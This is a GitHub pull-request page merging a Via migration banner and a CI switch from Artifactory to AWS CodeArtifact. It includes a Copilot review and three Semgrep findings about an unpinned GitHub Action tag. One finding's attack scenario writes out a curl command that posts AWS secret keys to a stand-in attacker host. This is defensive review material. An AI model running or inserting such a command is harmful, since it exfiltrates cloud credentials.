Automated PR: staging to main - #492
Conversation
* UXE-626: Add Via migration banner Adds a dismissible banner announcing the shift from LeafyGreen to Via, linking out to the Via docs/Storybook. Content strip-down is deferred pending Design Systems sign-off on the cut list (see UXE-626 for the proposed list). * UXE-626: Update banner copy and Via Storybook URL
There was a problem hiding this comment.
Pull request overview
This PR introduces a new global announcement banner component and mounts it in the app template so users see a maintenance-mode notice with a link to Via.
Changes:
- Add
ViaAnnouncementBannerclient component that displays a dismissible warning Banner and persists dismissal vialocalStorage. - Export the new banner from
src/components/global/index.ts. - Render the banner at the top of the main template content area.
Reviewed changes
Copilot reviewed 3 out of 3 changed files in this pull request and generated 2 comments.
| File | Description |
|---|---|
| src/components/global/ViaAnnouncementBanner.tsx | Adds a dismissible, localStorage-persisted warning banner linking to Via. |
| src/components/global/index.ts | Re-exports the new banner from the global components barrel. |
| src/app/template.tsx | Mounts the banner above page content so it appears across the app. |
Suppressed comments (1)
src/components/global/ViaAnnouncementBanner.tsx:31
localStorage.setItemcan throw (e.g., quota exceeded / storage disabled). If it throws, the click handler will error and the banner may remain on screen. Consider catching storage write errors and still dismissing the banner in-memory.
onClose={() => {
localStorage.setItem(DISMISSED_KEY, 'true');
setDismissed(true);
}}
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| useEffect(() => { | ||
| setDismissed(localStorage.getItem(DISMISSED_KEY) === 'true'); | ||
| }, []); |
| @@ -0,0 +1,52 @@ | |||
| 'use client'; | |||
|
|
|||
| import React, { useEffect, useState } from 'react'; | |||
* Migrate CI from Artifactory to AWS CodeArtifact Artifactory has been decommissioned and is returning 503s, breaking every CI job at `pnpm install` while fetching @lg-private packages. Replaces the JFROG_AUTH-based .npmrc setup in all three on-pr jobs with AWS CodeArtifact auth, mirroring the pattern already used in mongodb/leafygreen-ui and 10gen/leafygreen-ui-private. Adds scripts/login-codeartifact.sh so CI and local dev share one path. Requires AWS_CODEARTIFACT_ACCESS_KEY_ID and AWS_CODEARTIFACT_SECRET_ACCESS_KEY to be added as repo secrets before CI will pass. Ref: https://wiki.corp.mongodb.com/spaces/DBDEVPROD/pages/314681038/Migration+from+Artifactory+to+AWS+CodeArtifact * Switch CodeArtifact auth to OIDC role assumption DevProd provisioned an IAM role instead of static keys. Use role-to-assume with the required id-token permission, and pass --domain-owner on the CodeArtifact calls per Vitalii's example (DEVPROD-41210). * Drop artifactory tarball URLs from lockfile The 5 @lg-private entries had artifactory tarball URLs baked into their resolutions, so pnpm went straight to the dead host regardless of the registry config. Removing the tarball field lets pnpm derive the URL from @lg-private:registry (now CodeArtifact) while the integrity hashes still verify the contents.
![semgrep-code-mongodb[bot]](https://avatars.githubusercontent.com/u/45120?s=60&v=4){kind=small}
| env: | ||
| JFROG_AUTH: ${{ secrets.JFROG_AUTH }} | ||
| - name: Configure AWS credentials | ||
| uses: aws-actions/configure-aws-credentials@v4 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
aws-actions/configure-aws-credentials@v4 uses a mutable tag, so repointing v4 would let attacker-controlled code run in this PR workflow with the provided AWS credentials.
More details about this
Configure AWS credentials pulls aws-actions/configure-aws-credentials from the mutable @v4 tag instead of an exact commit. If the owner of that action, or anyone who compromises that repository, repoints v4 to a different commit, this pull request workflow will run the new code before scripts/login-codeartifact.sh and with access to AWS_CODEARTIFACT_ACCESS_KEY_ID and AWS_CODEARTIFACT_SECRET_ACCESS_KEY.
A plausible attack looks like this:
- An attacker compromises the
aws-actions/configure-aws-credentialsaction repository and moves thev4tag to a malicious commit. - A developer opens or updates a pull request, which triggers the
on-prworkflow. - The step
uses: aws-actions/configure-aws-credentials@v4downloads and executes the attacker-controlled action code. - That code can read the AWS credentials passed in
with.aws-access-key-idandwith.aws-secret-access-key, then exfiltrate them with a request such ascurl -X POST https://attacker.example/leak -d "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY". - With those stolen credentials, the attacker can authenticate to AWS or CodeArtifact as this workflow and pull private packages or abuse whatever access those keys allow.
To resolve this comment:
✨ Commit fix suggestion
- Replace the mutable action reference
aws-actions/configure-aws-credentials@v4with a full 40-character commit SHA for the exact release you intend to trust, for exampleaws-actions/configure-aws-credentials@<full-commit-sha>. - Get that SHA from the
v4release in theaws-actions/configure-aws-credentialsrepository, and make sure you copy the full commit ID, not a short SHA, tag, or branch name. - Keep the existing
with:settings unchanged after theuses:update, for exampleuses: aws-actions/configure-aws-credentials@<40-char-sha>. Pinning to a commit prevents the action owner from silently movingv4to different code later. - Alternatively, if you need easier upgrades, add a comment next to the pinned SHA noting the human-friendly version it came from, such as
# v4.x, while still keepinguses:pinned to the full commit SHA.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
| env: | ||
| JFROG_AUTH: ${{ secrets.JFROG_AUTH }} | ||
| - name: Configure AWS credentials | ||
| uses: aws-actions/configure-aws-credentials@v4 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
aws-actions/configure-aws-credentials is referenced by the mutable v4 tag, so a repointed tag could run attacker code and steal the AWS credentials passed to this step.
More details about this
aws-actions/configure-aws-credentials@v4 is pulled by the mutable v4 tag, not a specific commit. In this job, that action receives secrets.AWS_CODEARTIFACT_ACCESS_KEY_ID and secrets.AWS_CODEARTIFACT_SECRET_ACCESS_KEY, so if the v4 tag were ever repointed to malicious code, the workflow would run the attacker’s version while configuring AWS access.
A plausible attack looks like this:
- An attacker compromises the
aws-actions/configure-aws-credentialsrelease process or gains permission to move thev4tag. - They repoint
v4to a commit that adds a small credential-stealing step inside the action. - Your
Configure AWS credentialsstep runsuses: aws-actions/configure-aws-credentials@v4, so GitHub fetches the attacker-controlled code automatically. - That code can read the AWS values passed in
with:(aws-access-key-id,aws-secret-access-key, and region) and send them to an attacker-controlled server. - With those exact credentials, the attacker can authenticate to AWS or CodeArtifact the same way this workflow does and pull private packages or use any other permissions attached to
AWS_CODEARTIFACT_ACCESS_KEY_ID.
Because the reference is a tag, the workflow can change behavior without any diff in this repository.
To resolve this comment:
✨ Commit fix suggestion
| uses: aws-actions/configure-aws-credentials@v4 | |
| uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # aws-actions/configure-aws-credentials v4 |
View step-by-step instructions
- Replace the mutable action reference
aws-actions/configure-aws-credentials@v4with a full 40-character commit SHA for the exact release you want to trust, for exampleaws-actions/configure-aws-credentials@<full-commit-sha>. - Keep the action name the same and change only the ref after
@. This prevents the workflow from silently picking up a different action version if thev4tag is moved later. - Apply the same change to every occurrence of this action in the workflow file, since each
uses:entry must be pinned independently. - If you still want easy version upgrades later, add a comment next to the pinned SHA with the human-readable version, such as
# aws-actions/configure-aws-credentials v4.x, while keeping the actualuses:value pinned to the full SHA.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
| env: | ||
| JFROG_AUTH: ${{ secrets.JFROG_AUTH }} | ||
| - name: Configure AWS credentials | ||
| uses: aws-actions/configure-aws-credentials@v4 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
aws-actions/configure-aws-credentials@v4 uses a movable tag, so a repointed action release could run new code and steal the AWS secrets passed into this step.
More details about this
aws-actions/configure-aws-credentials@v4 is pulled by the mutable v4 tag, so this workflow will run whatever code the action owner later points v4 to. In this job, that action receives ${{ secrets.AWS_CODEARTIFACT_ACCESS_KEY_ID }} and ${{ secrets.AWS_CODEARTIFACT_SECRET_ACCESS_KEY }} before scripts/login-codeartifact.sh and pnpm install, so a repointed v4 release could read those secrets and use them to access your AWS CodeArtifact setup.
A plausible attack looks like this:
- An attacker compromises the
aws-actions/configure-aws-credentialsrelease process or maintainer account. - They repoint the
v4tag to a new commit that adds credential-stealing code inside the action. - Your workflow step
uses: aws-actions/configure-aws-credentials@v4automatically runs that new commit on the next build, withaws-access-key-idandaws-secret-access-keypassed in from GitHub secrets. - The malicious action sends those values to the attacker, for example with a hidden
curlrequest. - The attacker then uses the stolen AWS key pair to authenticate to the same AWS account resources this workflow uses, such as pulling private packages from CodeArtifact or making other API calls allowed to that IAM user.
Because the reference is @v4 instead of a full 40-character commit SHA, that code change can happen silently without any change to this repository.
To resolve this comment:
✨ Commit fix suggestion
- Replace the mutable action reference
aws-actions/configure-aws-credentials@v4with a full 40-character commit SHA from theaws-actions/configure-aws-credentialsrepository, for exampleaws-actions/configure-aws-credentials@<full-40-char-sha>. - Keep the action name the same and change only the part after
@so the step still uses the same action, just pinned to an immutable revision. - Choose the SHA that corresponds to the
v4release you intend to use, instead of a branch or tag name. Pinning to a commit prevents the action owner from silently changing what code runs later. - Apply the same change to the other
Configure AWS credentialsstep in this workflow if it also usesaws-actions/configure-aws-credentials@v4, so both jobs use the same pinned revision.
Alternatively, if you need easier version upgrades, use a dependency management tool such as Dependabot to update pinned GitHub Action SHAs automatically while still keeping uses: aws-actions/configure-aws-credentials@<full-40-char-sha>.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
No description provided.